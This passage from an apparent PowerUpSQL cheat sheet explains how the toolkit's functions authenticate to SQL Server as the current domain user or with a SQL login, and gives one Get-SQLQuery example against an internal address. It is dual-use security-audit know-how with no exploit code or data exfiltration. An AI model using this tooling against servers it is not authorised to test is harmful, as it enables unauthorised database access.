SQL Server Authentication Cheats
All PowerUpSQL functions support authenticating directly to a known SQL Server instance without having to perform discovery first. You can authenticate using the current domain user credentials or provide an SQL Server login. All PowerUpSQL functions will attempt to authenticate to the provided instance as the current domain user if the username/password parameters are not provided. This also applies if you're running PowerShell through runas /netonly.
Below are some basic examples using the "Get-SQLQuery" function.
Description
Command Examples
Authenticating to a known SQL Server instance as the current domain user.
Current Domain User
Get-SQLQuery -Verbose -Instance "10.2.2.5,1433"
